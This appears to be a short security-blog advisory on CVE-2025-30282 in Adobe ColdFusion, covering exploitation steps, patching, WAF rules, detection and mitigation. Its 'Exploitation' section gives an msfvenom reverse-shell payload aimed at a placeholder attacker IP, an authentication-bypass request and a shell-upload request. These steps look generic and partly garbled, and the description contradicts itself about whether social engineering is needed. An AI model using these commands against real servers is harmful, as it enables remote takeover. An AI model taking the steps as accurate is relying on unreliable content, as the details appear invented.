How CVE-2025-30282 Works
CVE-2025-30282 exploits an improper authentication flaw in Adobe ColdFusion (versions 2023.12, 2021.18, 2025.0, and earlier). Attackers manipulate authentication mechanisms to bypass security checks, enabling arbitrary code execution under the authenticated user’s privileges. The vulnerability requires social engineering to trick a victim into performing actions within the application. Once exploited, the attacker gains control over the system, leveraging ColdFusion’s server-side processing to execute malicious payloads.
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Platform: Adobe ColdFusion
Version: 2023.12, 2021.18, 2025.0
Vulnerability: Improper Authentication
Severity: Critical
Date: 04/15/2025
What Undercode Say:
Exploitation:
1. Payload Crafting:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<attacker_ip> LPORT=4444 -f raw > exploit.jsp
2. Authentication Bypass:
POST /CFIDE/adminapi/base.cfc?method=login HTTP/1.1 Host: <target> Content-Type: application/x-www-form-urlencoded Payload: admin=1&password=bypassed
3. Code Execution:
GET /CFIDE/adminapi/upload.cfm?file=exploit.jsp HTTP/1.1 Host: <target>
Protection:
1. Patch Immediately:
sudo cfpm update --security
2. Input Validation:
<cfif NOT IsValid("regex", form.input, "^[a-zA-Z0-9]+$")>
<cfabort showerror="Invalid input">
</cfif>
3. WAF Rules:
location /CFIDE/adminapi/ {
deny all;
}
4. Log Monitoring:
tail -f /opt/coldfusion/logs/cfserver.log | grep "Unauthorized"
Detection:
nmap -p 8500 --script coldfusion-auth-bypass <target>
Mitigation:
- Disable unused ColdFusion components.
- Enforce multi-factor authentication (MFA).
- Restrict admin panel access via IP whitelisting.
(End of report, no additional commentary.)
Sources:
Reported By: nvd.nist.gov
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